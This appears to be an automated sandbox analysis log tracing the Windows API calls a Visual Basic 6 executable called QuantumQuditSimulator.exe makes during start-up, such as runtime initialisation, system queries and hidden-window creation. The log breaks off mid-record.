# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 18.11.2020 19:45:28.150 Process: id = "1" image_name = "quantumquditsimulator.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quantumquditsimulator.exe" page_root = "0x48376000" os_pid = "0x440" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x43c [0036.919] GetVersion () returned 0x1db10106 [0036.920] GetModuleHandleA (lpModuleName=0x7294f824) returned 0x76d30000 [0036.921] GetProcAddress (hModule=0x76d30000, lpProcName="IsTNT") returned 0x0 [0036.921] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1e10000 [0036.921] VirtualAlloc (lpAddress=0x0, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0x1e20000 [0036.922] VirtualAlloc (lpAddress=0x1e20000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e20000 [0036.923] GetCurrentThreadId () returned 0x43c [0036.923] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe\" " [0036.923] GetEnvironmentStringsW () returned 0x6447c0* [0036.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0036.923] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x0, Size=0x570) returned 0x1e107d0 [0036.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1e107d0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0036.923] FreeEnvironmentStringsW (penv=0x6447c0) returned 1 [0036.923] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x0, Size=0x480) returned 0x1e10d48 [0036.923] GetStartupInfoA (in: lpStartupInfo=0x18f9b8 | out: lpStartupInfo=0x18f9b8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0036.923] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0036.923] GetFileType (hFile=0x0) returned 0x0 [0036.923] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0036.923] GetFileType (hFile=0x0) returned 0x0 [0036.923] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0036.923] GetFileType (hFile=0x0) returned 0x0 [0036.923] SetHandleCount (uNumber=0x20) returned 0x20 [0036.923] GetACP () returned 0x4e4 [0036.923] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9e0 | out: lpCPInfo=0x18f9e0) returned 1 [0036.923] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x72a4c528, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quantumquditsimulator.exe")) returned 0x3f [0036.925] HeapFree (in: hHeap=0x1e10000, dwFlags=0x0, lpMem=0x1e107d0 | out: hHeap=0x1e10000) returned 1 [0036.925] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76d30000 [0036.925] GetProcAddress (hModule=0x76d30000, lpProcName="IsProcessorFeaturePresent") returned 0x76d45235 [0036.925] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0036.925] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x800) returned 0x1e111d0 [0036.926] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x7c [0036.926] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x80 [0036.927] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0036.927] GetModuleFileNameA (in: hModule=0x72940000, lpFilename=0x72a4e6c8, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0036.927] GetVersion () returned 0x1db10106 [0036.927] lstrcmpiW (lpString1=0x72959810, lpString2=0x72959814) returned -1 [0036.929] GetUserDefaultLCID () returned 0x409 [0036.929] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1 [0036.929] GetSystemMetrics (nIndex=5) returned 1 [0036.929] GetSystemMetrics (nIndex=6) returned 1 [0036.929] GetSystemMetrics (nIndex=11) returned 32 [0036.929] GetSystemMetrics (nIndex=12) returned 32 [0036.929] GetSystemMetrics (nIndex=34) returned 132 [0036.929] GetSystemMetrics (nIndex=35) returned 38 [0036.929] GetSystemMetrics (nIndex=0) returned 1440 [0036.929] GetSystemMetrics (nIndex=1) returned 900 [0036.929] GetSystemMetrics (nIndex=32) returned 8 [0036.929] GetSystemMetrics (nIndex=33) returned 8 [0036.929] GetSystemMetrics (nIndex=42) returned 0 [0036.930] GetStockObject (i=15) returned 0x188000b [0036.930] GetStockObject (i=7) returned 0x1b00017 [0036.930] GetStockObject (i=6) returned 0x1b00018 [0036.930] GetStockObject (i=8) returned 0x1b00016 [0036.930] GetStockObject (i=4) returned 0x1900011 [0036.930] GetStockObject (i=2) returned 0x1900012 [0036.930] GetStockObject (i=0) returned 0x1900010 [0036.930] GetStockObject (i=5) returned 0x1900015 [0036.930] GetStockObject (i=13) returned 0x18a002e [0036.930] GetDC (hWnd=0x0) returned 0xc010997 [0036.930] GetTextExtentPointA (in: hdc=0xc010997, lpString="0", c=1, lpsz=0x18f9dc | out: lpsz=0x18f9dc) returned 1 [0036.932] GetDeviceCaps (hdc=0xc010997, index=14) returned 1 [0036.932] GetDeviceCaps (hdc=0xc010997, index=12) returned 32 [0036.932] GetDeviceCaps (hdc=0xc010997, index=88) returned 96 [0036.932] GetDeviceCaps (hdc=0xc010997, index=90) returned 96 [0036.932] GetDeviceCaps (hdc=0xc010997, index=38) returned 32409 [0036.932] ReleaseDC (hWnd=0x0, hDC=0xc010997) returned 1 [0036.932] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0x2650000 [0036.932] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x72a4e7d0 | out: ppMalloc=0x72a4e7d0*=0x767666bc) returned 0x0 [0036.933] GetCurrentThreadId () returned 0x43c [0036.933] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0036.933] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x104) returned 0x26507d0 [0036.933] GetCurrentThreadId () returned 0x43c [0036.933] GetCurrentThreadId () returned 0x43c [0036.933] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xec8) returned 0x26508e0 [0036.952] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe\" " [0036.952] lstrlenA (lpString="") returned 0 [0036.952] lstrcpyA (in: lpString1=0x18feac, lpString2="" | out: lpString1="") returned="" [0036.952] SetErrorMode (uMode=0x8001) returned 0x0 [0036.953] GetModuleFileNameA (in: hModule=0x72940000, lpFilename=0x18fb68, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0036.953] GetUserDefaultLCID () returned 0x409 [0036.953] lstrcpyA (in: lpString1=0x18f868, lpString2="*" | out: lpString1="*") returned="*" [0036.953] LoadStringA (in: hInstance=0x72940000, uID=0x7d1, lpBuffer=0x18fc6c, cchBufferMax=8 | out: lpBuffer="409") returned 0x3 [0036.953] GetSystemDefaultLCID () returned 0x409 [0036.953] GetUserDefaultLCID () returned 0x409 [0036.953] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x18fc76, cchData=2 | out: lpLCData=".") returned 2 [0036.953] GetStockObject (i=13) returned 0x18a002e [0036.953] GetObjectA (in: h=0x18a002e, c=60, pv=0x18fc3c | out: pv=0x18fc3c) returned 60 [0036.953] GetLocaleInfoA (in: Locale=0x409, LCType=0x80000003, lpLCData=0x18fc38, cchData=4 | out: lpLCData="ENU") returned 4 [0036.953] lstrcpyA (in: lpString1=0x18fc68, lpString2="EN" | out: lpString1="EN") returned="EN" [0036.953] lstrlenA (lpString="{xx}") returned 4 [0036.953] lstrlenA (lpString="VB98.CHM") returned 8 [0036.953] lstrcpyA (in: lpString1=0x72a4eae8, lpString2="VB98.CHM" | out: lpString1="VB98.CHM") returned="VB98.CHM" [0036.953] GetLocaleInfoA (in: Locale=0x409, LCType=0x80000003, lpLCData=0x18fc38, cchData=4 | out: lpLCData="ENU") returned 4 [0036.953] lstrcpyA (in: lpString1=0x18fc68, lpString2="EN" | out: lpString1="EN") returned="EN" [0036.953] lstrlenA (lpString="{xx}") returned 4 [0036.953] lstrlenA (lpString="VBENLR98.CHM") returned 12 [0036.953] lstrcpyA (in: lpString1=0x72a4ebf0, lpString2="VBENLR98.CHM" | out: lpString1="VBENLR98.CHM") returned="VBENLR98.CHM" [0036.953] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18fd90, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quantumquditsimulator.exe")) returned 0x3f [0036.953] GetModuleFileNameA (in: hModule=0x72940000, lpFilename=0x18fc8c, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0036.953] lstrcpynA (in: lpString1=0x18fb70, lpString2="C:\\Windows\\system32\\MSVBVM60.DLL", iMaxLength=260 | out: lpString1="C:\\Windows\\system32\\MSVBVM60.DLL") returned="C:\\Windows\\system32\\MSVBVM60.DLL" [0036.954] lstrlenA (lpString="C:\\Windows\\system32\\MSVBVM60.DLL") returned 32 [0036.954] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x21) returned 0x26517b0 [0036.954] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x21) returned 0x26517e0 [0036.954] lstrcpyA (in: lpString1=0x26517b0, lpString2="C:\\Windows\\system32\\MSVBVM60.DLL" | out: lpString1="C:\\Windows\\system32\\MSVBVM60.DLL") returned="C:\\Windows\\system32\\MSVBVM60.DLL" [0036.954] LCMapStringA (in: Locale=0x409, dwMapFlags=0x200, lpSrcStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", cchSrc=-1, lpDestStr=0x18fb50, cchDest=260 | out: lpDestStr="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\QUANTUMQUDITSIMULATOR.EXE") returned 64 [0036.955] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x18fc54, dwRevision=0x1 | out: pSecurityDescriptor=0x18fc54) returned 1 [0036.955] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x18fc54, bDaclPresent=1, pDacl=0x0, bDaclDefaulted=0 | out: pSecurityDescriptor=0x18fc54) returned 1 [0036.955] CreateSemaphoreA (lpSemaphoreAttributes=0x18fc68, lInitialCount=0, lMaximumCount=2147483647, lpName="C:?USERS?5P5NRGJN0JS HALPMCXZ?DESKTOP?QUANTUMQUDITSIMULATOR.EXE") returned 0x90 [0036.955] GetLastError () returned 0x0 [0036.955] GetVersionExA (in: lpVersionInformation=0x18fbcc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fbcc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0036.955] OleInitialize (pvReserved=0x0) returned 0x0 [0037.295] OaBuildVersion () returned 0x321396 [0037.295] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x76e40000 [0037.295] GetLastError () returned 0x0 [0037.296] GetProcAddress (hModule=0x76e40000, lpProcName="OleLoadPictureEx") returned 0x76ea70a1 [0037.296] RegisterClipboardFormatA (lpszFormat="Link") returned 0xc169 [0037.296] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc0b1 [0037.296] GetClassInfoA (in: hInstance=0x72940000, lpClassName="VBFocusRT6", lpWndClass=0x18fc34 | out: lpWndClass=0x18fc34) returned 0 [0037.296] RegisterClassA (lpWndClass=0x18fc34) returned 0xc167 [0037.296] GetClassInfoA (in: hInstance=0x72940000, lpClassName="VBBubbleRT6", lpWndClass=0x18fc34 | out: lpWndClass=0x18fc34) returned 0 [0037.296] RegisterClassA (lpWndClass=0x18fc34) returned 0xc168 [0037.296] HeapCreate (flOptions=0x0, dwInitialSize=0x400, dwMaximumSize=0x0) returned 0x2a10000 [0037.296] GetUserDefaultLCID () returned 0x409 [0037.296] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x3a4) returned 0x2651810 [0037.296] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x3a4) returned 0x2651bc0 [0037.297] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xd4) returned 0x2651f70 [0037.297] GetSystemInfo (in: lpSystemInfo=0x18fbf4 | out: lpSystemInfo=0x18fbf4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0037.297] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x210000 [0037.297] VirtualAlloc (lpAddress=0x210000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0037.297] VirtualAlloc (lpAddress=0x210000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0037.297] VirtualAlloc (lpAddress=0x210000, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0037.297] VirtualAlloc (lpAddress=0x210000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0037.297] VirtualAlloc (lpAddress=0x210000, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0037.298] VirtualAlloc (lpAddress=0x210000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0037.298] VirtualProtect (in: lpAddress=0x210000, dwSize=0x6000, flNewProtect=0x20, lpflOldProtect=0x18fc50 | out: lpflOldProtect=0x18fc50*=0x4) returned 1 [0037.299] GetCurrentProcess () returned 0xffffffff [0037.299] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x210000, dwSize=0x6000) returned 1 [0037.299] GlobalAddAtomA (lpString="VBDisabled") returned 0xc153 [0037.299] GetVersion () returned 0x1db10106 [0037.299] GetModuleHandleA (lpModuleName=0x7295a0cc) returned 0x76e40000 [0037.299] GetProcAddress (hModule=0x76e40000, lpProcName="DispCallFunc") returned 0x76e53dcf [0037.300] GetProcAddress (hModule=0x76e40000, lpProcName="LoadTypeLibEx") returned 0x76e507b7 [0037.300] GetProcAddress (hModule=0x76e40000, lpProcName="UnRegisterTypeLib") returned 0x76e71ca9 [0037.300] GetProcAddress (hModule=0x76e40000, lpProcName="CreateTypeLib2") returned 0x76e58e70 [0037.300] GetProcAddress (hModule=0x76e40000, lpProcName="VarDateFromUdate") returned 0x76e57684 [0037.300] GetProcAddress (hModule=0x76e40000, lpProcName="VarUdateFromDate") returned 0x76e5cc98 [0037.300] GetProcAddress (hModule=0x76e40000, lpProcName="GetAltMonthNames") returned 0x76e8903a [0037.300] GetProcAddress (hModule=0x76e40000, lpProcName="VarNumFromParseNum") returned 0x76e56231 [0037.300] GetProcAddress (hModule=0x76e40000, lpProcName="VarParseNumFromStr") returned 0x76e55fea [0037.300] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromR4") returned 0x76e63f94 [0037.300] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromR8") returned 0x76e64e9e [0037.300] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromDate") returned 0x76e8db72 [0037.300] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromI4") returned 0x76e72a8c [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromCy") returned 0x76e8d737 [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="VarR4FromDec") returned 0x76e8e015 [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x76e8cc3d [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="GetRecordInfoFromGuids") returned 0x76e8d1c4 [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayGetRecordInfo") returned 0x76e8d48c [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArraySetRecordInfo") returned 0x76e8d4c6 [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayGetIID") returned 0x76e8d509 [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArraySetIID") returned 0x76e5e7bb [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayCopyData") returned 0x76e5e496 [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x76e5ddf1 [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayCreateEx") returned 0x76e8d53f [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormat") returned 0x76e92055 [0037.301] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormatDateTime") returned 0x76e920ea [0037.302] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormatNumber") returned 0x76e92151 [0037.302] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormatPercent") returned 0x76e921f5 [0037.302] GetProcAddress (hModule=0x76e40000, lpProcName="VarFormatCurrency") returned 0x76e92288 [0037.302] GetProcAddress (hModule=0x76e40000, lpProcName="VarWeekdayName") returned 0x76e92335 [0037.302] GetProcAddress (hModule=0x76e40000, lpProcName="VarMonthName") returned 0x76e923d5 [0037.302] GetProcAddress (hModule=0x76e40000, lpProcName="VarAdd") returned 0x76e65934 [0037.302] GetProcAddress (hModule=0x76e40000, lpProcName="VarAnd") returned 0x76e65a98 [0037.302] GetProcAddress (hModule=0x76e40000, lpProcName="VarCat") returned 0x76e659b4 [0037.302] GetProcAddress (hModule=0x76e40000, lpProcName="VarDiv") returned 0x76ebe405 [0037.304] GetProcAddress (hModule=0x76e40000, lpProcName="VarEqv") returned 0x76ebef07 [0037.304] GetProcAddress (hModule=0x76e40000, lpProcName="VarIdiv") returned 0x76ebf00a [0037.304] GetProcAddress (hModule=0x76e40000, lpProcName="VarImp") returned 0x76ebef47 [0037.304] GetProcAddress (hModule=0x76e40000, lpProcName="VarMod") returned 0x76ebf15e [0037.304] GetProcAddress (hModule=0x76e40000, lpProcName="VarMul") returned 0x76ebdbd4 [0037.304] GetProcAddress (hModule=0x76e40000, lpProcName="VarOr") returned 0x76ebecfa [0037.304] GetProcAddress (hModule=0x76e40000, lpProcName="VarPow") returned 0x76ebea66 [0037.304] GetProcAddress (hModule=0x76e40000, lpProcName="VarSub") returned 0x76ebd332 [0037.304] GetProcAddress (hModule=0x76e40000, lpProcName="VarXor") returned 0x76ebee2e [0037.304] GetProcAddress (hModule=0x76e40000, lpProcName="VarAbs") returned 0x76ebca11 [0037.304] GetProcAddress (hModule=0x76e40000, lpProcName="VarFix") returned 0x76ebcc5f [0037.305] GetProcAddress (hModule=0x76e40000, lpProcName="VarInt") returned 0x76ebcde7 [0037.305] GetProcAddress (hModule=0x76e40000, lpProcName="VarNeg") returned 0x76ebc802 [0037.305] GetProcAddress (hModule=0x76e40000, lpProcName="VarNot") returned 0x76ebec66 [0037.305] GetProcAddress (hModule=0x76e40000, lpProcName="VarRound") returned 0x76ebd155 [0037.305] GetProcAddress (hModule=0x76e40000, lpProcName="VarCmp") returned 0x76e5b0dc [0037.305] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecAdd") returned 0x76e75f3e [0037.305] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecCmp") returned 0x76e64fd0 [0037.305] GetProcAddress (hModule=0x76e40000, lpProcName="VarBstrCat") returned 0x76e60d2c [0037.305] GetProcAddress (hModule=0x76e40000, lpProcName="VarCyMulI4") returned 0x76e759ed [0037.306] GetProcAddress (hModule=0x76e40000, lpProcName="VarBstrCmp") returned 0x76e4f8b8 [0037.306] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x76620000 [0037.306] GetProcAddress (hModule=0x76620000, lpProcName="CoCreateInstanceEx") returned 0x76669d4e [0037.306] GetProcAddress (hModule=0x76620000, lpProcName="CLSIDFromProgIDEx") returned 0x76630782 [0037.306] GetSystemMetrics (nIndex=42) returned 0 [0037.306] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x72a4e688 | out: ppMalloc=0x72a4e688*=0x767666bc) returned 0x0 [0037.306] IMalloc:Alloc (This=0x767666bc, cb=0x4) returned 0x648ca8 [0037.306] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f968, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quantumquditsimulator.exe")) returned 0x3f [0037.307] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", lpString2=".cfg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe.cfg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe.cfg" [0037.307] SetLastError (dwErrCode=0x0) [0037.307] SearchPathA (in: lpPath=0x0, lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe.cfg", lpExtension=0x0, nBufferLength=0x103, lpBuffer=0x18f864, lpFilePart=0x18f838 | out: lpBuffer="|ú\x18", lpFilePart=0x18f838) returned 0x0 [0037.307] SetLastError (dwErrCode=0x2) [0037.308] GetLastError () returned 0x2 [0037.308] lstrcmpiA (lpString1="QuantumQuditSimulator", lpString2="MTX") returned 1 [0037.308] lstrcmpiA (lpString1="QuantumQuditSimulator", lpString2="DLLHOST") returned 1 [0037.308] lstrcmpiA (lpString1="QuantumQuditSimulator", lpString2="INETINFO") returned 1 [0037.308] lstrcmpiA (lpString1="QuantumQuditSimulator", lpString2="W3WP") returned -1 [0037.308] lstrcmpiA (lpString1="QuantumQuditSimulator", lpString2="ASPNET_WP") returned 1 [0037.308] lstrcmpiA (lpString1="QuantumQuditSimulator", lpString2="DLLHST3G") returned 1 [0037.308] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f95c, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quantumquditsimulator.exe")) returned 0x3f [0037.308] lstrcmpiA (lpString1="QuantumQuditSimulator", lpString2="IEXPLORE") returned 1 [0037.308] LoadLibraryA (lpLibFileName="SXS.DLL") returned 0x75620000 [0037.455] GetLastError () returned 0x0 [0037.455] GetProcAddress (hModule=0x75620000, lpProcName="SxsOleAut32MapIIDOrCLSIDToTypeLibrary") returned 0x75667685 [0037.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18feac, cbMultiByte=-1, lpWideCharStr=0x18fea8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0037.455] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x1c) returned 0x2652050 [0037.456] CoRegisterMessageFilter (in: lpMessageFilter=0x2652054, lplpMessageFilter=0x265205c | out: lplpMessageFilter=0x265205c*=0x0) returned 0x0 [0037.456] IUnknown:AddRef (This=0x2652054) returned 0x2 [0037.456] GetClassInfoExA (in: hInstance=0x72940000, lpszClass="ThunderRT6Main", lpwcx=0x18fe78 | out: lpwcx=0x18fe78) returned 0 [0037.456] LoadIconA (hInstance=0x400000, lpIconName=0x1) returned 0x0 [0037.456] GetModuleHandleA (lpModuleName="USER32") returned 0x77130000 [0037.456] GetProcAddress (hModule=0x77130000, lpProcName="GetSystemMetrics") returned 0x77147d2f [0037.457] GetProcAddress (hModule=0x77130000, lpProcName="MonitorFromWindow") returned 0x77153150 [0037.457] GetProcAddress (hModule=0x77130000, lpProcName="MonitorFromRect") returned 0x7716e7a0 [0037.457] GetProcAddress (hModule=0x77130000, lpProcName="MonitorFromPoint") returned 0x77155281 [0037.457] GetProcAddress (hModule=0x77130000, lpProcName="EnumDisplayMonitors") returned 0x7715451a [0037.457] GetProcAddress (hModule=0x77130000, lpProcName="GetMonitorInfoA") returned 0x77154413 [0037.457] GetSystemMetrics (nIndex=0) returned 1440 [0037.457] GetSystemMetrics (nIndex=78) returned 1440 [0037.457] GetSystemMetrics (nIndex=1) returned 900 [0037.457] GetSystemMetrics (nIndex=79) returned 900 [0037.457] GetSystemMetrics (nIndex=50) returned 16 [0037.457] GetSystemMetrics (nIndex=49) returned 16 [0037.457] LoadImageA (hInst=0x400000, name=0x1, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x0 [0037.457] RegisterClassExA (param_1=0x18fe78) returned 0x8ec059 [0037.457] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderRT6Main", lpWindowName=0x0, dwStyle=0x80090000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x5011c [0037.458] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x81, wParam=0x0, lParam=0x18fa5c) returned 0x1 [0037.459] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x83, wParam=0x0, lParam=0x18fa48) returned 0x0 [0037.459] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x1, wParam=0x0, lParam=0x18fa5c) returned 0x0 [0037.459] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0037.459] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0037.459] MonitorFromWindow (hwnd=0x5011c, dwFlags=0x2) returned 0x10001 [0037.459] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18fe80 | out: lpmi=0x18fe80) returned 1 [0037.459] SetWindowPos (hWnd=0x5011c, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0037.459] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x46, wParam=0x0, lParam=0x18fe20) returned 0x0 [0037.460] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x47, wParam=0x0, lParam=0x18fe20) returned 0x0 [0037.460] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x3, wParam=0x0, lParam=0x1c202d0) returned 0x0 [0037.460] 